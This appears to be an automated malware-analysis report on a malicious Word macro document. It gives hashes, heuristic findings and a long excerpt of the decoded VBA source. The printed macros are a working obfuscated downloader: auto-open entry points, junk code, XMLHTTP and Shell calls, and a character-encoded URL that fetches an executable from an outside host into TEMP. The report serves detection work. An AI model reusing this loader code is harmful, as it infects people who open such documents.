Office (OLE) malware analysis — malicious · 591c8be67482f7d7

MALICIOUS

Office (OLE)

139.5 KB Created: 2014-11-02 16:18:00 Authoring application: Microsoft Office Word First seen: 2014-11-24

MD5: 3998fa633d729e2be3a0b390eb8a99a8 SHA-1: 94bdc95bbc4ac408c8f66ab2c3823474ed66779b SHA-256: 591c8be67482f7d7ed4e9ef560b14840c3a37f9dcb33c1f83650c9e658ac256d

274 Risk Score

Heuristics 11

VBA macros detected medium 8 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    RBBAEZCGQNT = Shell(PAUINJYOMZI, 1)
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AUTOOPEN()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub WORKBOOK_OPEN()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub AUTO_OPEN()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    SICJGWUTEZO ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(104) & ChrW(111) & ChrW(108) & ChrW(97) & ChrW(116) & ChrW(122) & ChrW(101) & ChrW(107) & ChrW(45) & ChrW(102) & ChrW(97) & ChrW(104) & ChrW(114) & ChrW(115) & ChrW(99) & ChrW(104) & ChrW(117) & ChrW(108) & ChrW(101) & ChrW(46) & ChrW(100) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ("TEMP") & "\SUVCKSGZTGK.exe"

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	76347 bytes
SHA-256: `81170bce73176df3457980b9201f427b5084769c1a728e11473d17845600a29c`
Detection ClamAV: No threats found Obfuscation or payload: likely 199 of 336 identifiers look randomly generated (e.g. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMB') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Sub AUTO_OPEN() 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim FXNNBASR, LKIWSXEW, CDHHVJWD As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 745638 = 745638 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7353 < 38 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ECJCZWRQ71") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("ALCDLVYS8213") = Len("ZXANNXRL") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FXNNBASR = " FJBKYY " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 826317 = 826317 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 2228 < 15 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("JLBKKEXK36") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("QFMBCPMC3968") = Len("LZAWMATC") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LKIWSXEW = LTrim(FXNNBASR) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 673832 = 673832 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 9428 < 69 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ADZUTMGS74") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("KCRGYETL4682") = Len("LAYZGARA") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF CDHHVJWD = RTrim(LKIWSXEW) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 459771 = 459771 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7553 < 78 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("XSMDKCEV89") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("RZCQAHBJ8313") = Len("VMCHWWSE") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF TZWHIXLFHBW 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Sub 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Sub AUTOOPEN() 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim FPYJBNUS, JWMQOCHU, TQBFGOZG As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 113498 = 113498 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1941 < 75 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("VEUDYMBK26") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("WVDZXCNL5214") = Len("CZHHRXNB") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FPYJBNUS = " JQURSE " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 921494 = 921494 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1756 < 11 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("SVHRZPMF46") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("LFLEQEHT2696") = Len("FUKORIRL") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF JWMQOCHU = LTrim(FPYJBNUS) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 693834 = 693834 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 9628 < 62 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("BVZURCEE42") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("HOEGTYLQ1568") = Len("EKCSPLWY") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF TQBFGOZG = RTrim(JWMQOCHU) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 138425 = 138425 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 2926 < 23 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LUZYPZXK67") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("NXYRLWLP3776") = Len("MHRPSNYC") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AUTO_OPEN 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Sub 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Sub WORKBOOK_OPEN() 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim UANZUEKG, LUSTOJWB, RDVIQTBP As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 864159 = 864159 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 8547 < 26 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("QTQMXTLS92") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("MTOLPWVA9397") = Len("XOSUKLXI") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF UANZUEKG = " ASFCKH " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 446479 = 446479 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 5996 < 77 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("PPGYWTTG98") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("JBLTRVAU8269") = Len("NFNNAHSY") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LUSTOJWB = LTrim(UANZUEKG) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 127876 = 127876 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 4868 < 14 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("XPAOCKFR28") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("DMZJBARD5728") = Len("GVYTUBEL") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF RDVIQTBP = RTrim(LUSTOJWB) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 316466 = 316466 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 4696 < 64 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("RLGULFXF85") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("QOLTZULY7869") = Len("MCNABBEY") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AUTO_OPEN 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Sub 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Public Function XGOBXLXQYV74() As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim VLSSTJMKFQ69, AUINKDEXQB85, XNIYQLHPRF18, WLKKGLYLWV63 As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim OZQGLYIDVF58, AQJMPFDEAV64, XRHBELAJLD97, UZJWRIMDYN76 As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF OZQGLYIDVF58 = 2646 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF VLSSTJMKFQ69 = V 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AQJMPFDEAV64 = Asc(VLSSTJMKFQ69) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If OZQGLYIDVF58 > AQJMPFDEAV64 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF For XRHBELAJLD97 = 1 To 94 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF UZJWRIMDYN76 = AQJMPFDEAV64 + XRHBELAJLD97 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Next XRHBELAJLD97 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF UZJWRIMDYN76 = UZJWRIMDYN76 + OZQGLYIDVF58 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AUINKDEXQB85 = CStr(UZJWRIMDYN76) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF XNIYQLHPRF18 = Mid$(AUINKDEXQB85, 1, 4) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF WLKKGLYLWV63 = WLKKGLYLWV63 & "96" 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF XGOBXLXQYV74 = CInt(Mid$(WLKKGLYLWV63, 2, 6)) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Else 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF XGOBXLXQYV74 = 94 + 2646 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("RHQTLQSAKU83") 